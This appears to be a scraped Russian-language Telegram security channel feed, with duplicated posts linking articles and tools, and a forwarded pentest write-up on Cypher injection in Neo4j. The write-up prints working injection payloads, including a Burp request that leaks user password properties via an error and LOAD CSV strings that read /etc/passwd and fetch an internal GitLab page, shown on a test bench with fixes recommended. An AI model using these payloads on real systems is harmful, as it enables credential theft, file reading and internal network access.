Вы подменили User-Agent, и сервер всё равно знает, что это curl. Он понял это до того, как получил заголовки
🔗Ссылка:
https://habr.com/ru/articles/1075838/
🔗Ссылка:
https://habr.com/ru/articles/1075838/
Всем хак! 👾
Обновил Obsidian Pentest
Если репозиторий был полезен, поставьте ⭐ в GitHub
[Прошлый пост]
Обновил Obsidian Pentest
Если репозиторий был полезен, поставьте ⭐ в GitHub
[Прошлый пост]
1🔥2
Forwarded from purple shift
Cypher-инъекция для атаки на базу данных Neo4j возникает по тем же причинам, что и SQL‑инъекция: приложение вставляет пользовательский ввод прямо в запрос к базе. В результате злоумышленник может изменить не только значение для поиска, но и логику самого запроса.
На одном из проектов по анализу защищённости нам встретилось веб-приложение, которое использовало базу Neo4j. В ней в том числе хранились данные пользователей, используемые при аутентификации. Мы обнаружили, что приложение формирует Cypher‑запросы путем прямой конкатенации пользовательского ввода - это и создавало риск инъекции.
Чтобы не раскрывать детали заказчика и безопасно воспроизвести найденные атаки, мы собрали локальный стенд с такой же уязвимостью. Все дальнейшие запросы и результаты показаны уже на нём, а используемые данные и внутренние сервисы являются тестовыми.
Суть проблемы:
Уязвимый код может выглядеть так:
Здесь введенный логин становится частью текста запроса и может изменить его содержание. Правильный вариант: оставить Cypher неизменным, а значение передать драйверу отдельно:
В данном случае
На практике:
На проекте сработала следующая цепочка, которую мы повторили на стенде. Сначала мы заставили Neo4j включить свойства объекта в текст ошибки. Запрос из Burp выглядел так:
Значение login после декодирования:
Кавычка закрывает исходную строку, OR делает условие истинным, а // комментирует хвост запроса.
Neo4j попытался преобразовать свойства объекта в строку и вернул ошибку типизации. Приложение показало ошибку целиком, поэтому в ответ попали свойства пользователя, включая password в виде ByteArray[...].
После этого проверили метки графа, локальный файл и внутренний сервис, внедряя вредоносные фрагменты Cypher в параметр login через функцию Inspector в модуле Burp Repeater:
Первый запрос вернул метку Users. Через LOAD CSV удалось прочитать строку из /etc/passwd и получить страницу внутреннего GitLab:
Чтение файлов и HTTP-запросы через LOAD CSV зависят от версии Neo4j, настроек, прав процесса и сетевых ограничений. На другой конфигурации эти запросы могут не сработать.
Результат:
Эксплуатация инъекции позволила получить не только доступ к данным графа. Сначала подробная ошибка Neo4j раскрыла свойства пользователя, включая поле password. На стенде удалось получить метку Users, прочитать строки из файла внутри контейнера Neo4j и обратиться к тестовому внутреннему HTTP-сервису. Таким образом, уязвимость в формировании Cypher‑запросов открыла возможность для нескольких векторов воздействия: извлечения данных узлов и связей, чтения локальных файлов сервера и обращения к доступным из Neo4j внутренним сервисам.
Для защиты от такой атаки рекомендуем:
— использовать параметризованные запросы,
— не возвращать клиенту информацию о содержании ошибки,
— выдать приложению минимальные права,
— ограничить LOAD CSV и исходящий трафик.
На одном из проектов по анализу защищённости нам встретилось веб-приложение, которое использовало базу Neo4j. В ней в том числе хранились данные пользователей, используемые при аутентификации. Мы обнаружили, что приложение формирует Cypher‑запросы путем прямой конкатенации пользовательского ввода - это и создавало риск инъекции.
Чтобы не раскрывать детали заказчика и безопасно воспроизвести найденные атаки, мы собрали локальный стенд с такой же уязвимостью. Все дальнейшие запросы и результаты показаны уже на нём, а используемые данные и внутренние сервисы являются тестовыми.
Суть проблемы:
Уязвимый код может выглядеть так:
query = f'MATCH (u:Users) WHERE u.login = "{user_input}" RETURN u'Здесь введенный логин становится частью текста запроса и может изменить его содержание. Правильный вариант: оставить Cypher неизменным, а значение передать драйверу отдельно:
query = "MATCH (u:Users) WHERE u.login = $user_input RETURN u"
with driver.session() as session:
result = session.run(query, user_input=user_input)
В данном случае
$user_input - это параметр запроса: драйвер передаёт его значение отдельно от текста запроса. Neo4j сначала компилирует запрос, а затем подставляет значение параметра, поэтому содержимое user_input интерпретируется как данные, а не как часть синтаксиса Cypher.На практике:
На проекте сработала следующая цепочка, которую мы повторили на стенде. Сначала мы заставили Neo4j включить свойства объекта в текст ошибки. Запрос из Burp выглядел так:
GET /api/user?login="+OR+1%3D1+RETURN+toString(CASE+WHEN+1%3D1+THEN+properties(u)+ELSE+0+END)+// HTTP/1.1
Host: localhost:5001
Значение login после декодирования:
" OR 1=1 RETURN toString(CASE WHEN 1=1 THEN properties(u) ELSE 0 END) //
Кавычка закрывает исходную строку, OR делает условие истинным, а // комментирует хвост запроса.
Neo4j попытался преобразовать свойства объекта в строку и вернул ошибку типизации. Приложение показало ошибку целиком, поэтому в ответ попали свойства пользователя, включая password в виде ByteArray[...].
Neo.ClientError.Statement.TypeError:
Map{login -> "admin", password -> ByteArray[...]}
После этого проверили метки графа, локальный файл и внутренний сервис, внедряя вредоносные фрагменты Cypher в параметр login через функцию Inspector в модуле Burp Repeater:
" OR 1=1 WITH u LIMIT 1 CALL db.labels() YIELD label RETURN label //
" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "file:///etc/passwd" AS line RETURN line //
" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "http://gitlab-internal" AS line RETURN line //
Первый запрос вернул метку Users. Через LOAD CSV удалось прочитать строку из /etc/passwd и получить страницу внутреннего GitLab:
label = "Users"
root:x:0:0:root:/root:/bin/bash
<title>GitLab</title>
Чтение файлов и HTTP-запросы через LOAD CSV зависят от версии Neo4j, настроек, прав процесса и сетевых ограничений. На другой конфигурации эти запросы могут не сработать.
Результат:
Эксплуатация инъекции позволила получить не только доступ к данным графа. Сначала подробная ошибка Neo4j раскрыла свойства пользователя, включая поле password. На стенде удалось получить метку Users, прочитать строки из файла внутри контейнера Neo4j и обратиться к тестовому внутреннему HTTP-сервису. Таким образом, уязвимость в формировании Cypher‑запросов открыла возможность для нескольких векторов воздействия: извлечения данных узлов и связей, чтения локальных файлов сервера и обращения к доступным из Neo4j внутренним сервисам.
Для защиты от такой атаки рекомендуем:
— использовать параметризованные запросы,
— не возвращать клиенту информацию о содержании ошибки,
— выдать приложению минимальные права,
— ограничить LOAD CSV и исходящий трафик.
2❤2🔥1
Drama RAT — вредоносное приложение, после установки которого действительно становится печально
Недавно на исследование в департамент комплексного реагирования на киберугрозы Positive Technologies (PT ESC IR) поступил ряд образцов банковского трояна для Android с функциями удаленного управления — Drama RAT. Это вредоносное семейство распространяется с помощью фишинговых сообщений в мессенджерах и маскируется под VPN-сервисы, банковские приложения и другие взломанные утилиты со встроенной платной функциональностью. Ранее о нем писали в УБК МВД.
🔗Ссылка:
https://habr.com/ru/companies/pt/articles/1077814/
Недавно на исследование в департамент комплексного реагирования на киберугрозы Positive Technologies (PT ESC IR) поступил ряд образцов банковского трояна для Android с функциями удаленного управления — Drama RAT. Это вредоносное семейство распространяется с помощью фишинговых сообщений в мессенджерах и маскируется под VPN-сервисы, банковские приложения и другие взломанные утилиты со встроенной платной функциональностью. Ранее о нем писали в УБК МВД.
🔗Ссылка:
https://habr.com/ru/companies/pt/articles/1077814/
❤2
Всем хак 👾
Пост от меня.
Наконец-то попробовал мод BBS FS. Также перешёл на лаунчер XMCL и хорошенько перебрал свою сборку модов, выкинув оттуда весь ненужный мусор.
Вдобавок ко всему ещё и шейдеры топовые подобрал! 🌌
Ещё изучил гайды по Fusion в DaVinci Resolve. Оказывается, не такая уж это и сложная штука, но какой же мощный функционал она в себе скрывает!
Что это значит для вас?
— А значит это то, что ролики будут выходить ещё круче и качественнее! 🔥
⬆️ [Прошлый пост]
🍩 [Поддержать]
Пост от меня.
Наконец-то попробовал мод BBS FS. Также перешёл на лаунчер XMCL и хорошенько перебрал свою сборку модов, выкинув оттуда весь ненужный мусор.
Вдобавок ко всему ещё и шейдеры топовые подобрал! 🌌
Ещё изучил гайды по Fusion в DaVinci Resolve. Оказывается, не такая уж это и сложная штука, но какой же мощный функционал она в себе скрывает!
Что это значит для вас?
— А значит это то, что ролики будут выходить ещё круче и качественнее! 🔥
⬆️ [Прошлый пост]
🍩 [Поддержать]
13❤2🔥2❤🔥1
Fsecurity | HH
Всем хак 👾 Пост от меня. Наконец-то попробовал мод BBS FS. Также перешёл на лаунчер XMCL и хорошенько перебрал свою сборку модов, выкинув оттуда весь ненужный мусор. Вдобавок ко всему ещё и шейдеры топовые подобрал! 🌌 Ещё изучил гайды по Fusion в DaVinci…
Ух... спасибо за звёзды ⭐️
14🆒2❤1🔥1
Forwarded from Backconnect
5 Top Five - 11.pdf
14.9 MB
Дорогие друзья!
Презентуем вашему вниманию одиннадцатый выпуск журнала с крутецкими новостями инфобеза!
За каждую реакцию/коммент/репост - обняли, покружили, поставили обратно <3
____
🕺 backconnect
Презентуем вашему вниманию одиннадцатый выпуск журнала с крутецкими новостями инфобеза!
За каждую реакцию/коммент/репост - обняли, покружили, поставили обратно <3
____
Please open Telegram to view this post
VIEW IN TELEGRAM
5🔥3
От веба до захвата домена: чему пентестер может научиться на большой инфраструктуре
🔗Ссылка:
https://www.securitylab.ru/analytics/576944.php
🔗Ссылка:
https://www.securitylab.ru/analytics/576944.php
6❤2🔥1👏1
SCCM под угрозой: устраняем ошибки конфигурации
🔗Ссылка:
https://habr.com/ru/companies/bizone/articles/1078144/
🔗Ссылка:
https://habr.com/ru/companies/bizone/articles/1078144/
❤🔥1
Адаптивный червь подбирает индивидуальные уязвимости для каждого ПК
🔗Ссылка:
https://habr.com/ru/companies/globalsign/articles/1079126/
🔗Ссылка:
https://habr.com/ru/companies/globalsign/articles/1079126/
7🔥2
🦅 RavenEye
RavenEye — это универсальный инструмент разведки, который объединяет несколько этапов разведки в единый рабочий процесс.
Вместо ручного запуска множества инструментов и перемещения результатов между ними, RavenEye автоматизирует процесс и организует результаты для вас.
Меньше времени на управление разведкой. Больше времени на анализ цели.
🔗Ссылка:
https://github.com/RavenXxe/RavenEye.git
RavenEye — это универсальный инструмент разведки, который объединяет несколько этапов разведки в единый рабочий процесс.
Вместо ручного запуска множества инструментов и перемещения результатов между ними, RavenEye автоматизирует процесс и организует результаты для вас.
Меньше времени на управление разведкой. Больше времени на анализ цели.
🔗Ссылка:
https://github.com/RavenXxe/RavenEye.git
GitHub
GitHub - RavenXxe/RavenEye: RavenEye is an autonomous, flexible scanner that allows you to scan your targets, categorize the results…
RavenEye is an autonomous, flexible scanner that allows you to scan your targets, categorize the results, and map them clearly for easier analysis and follow-up. - RavenXxe/RavenEye
8❤1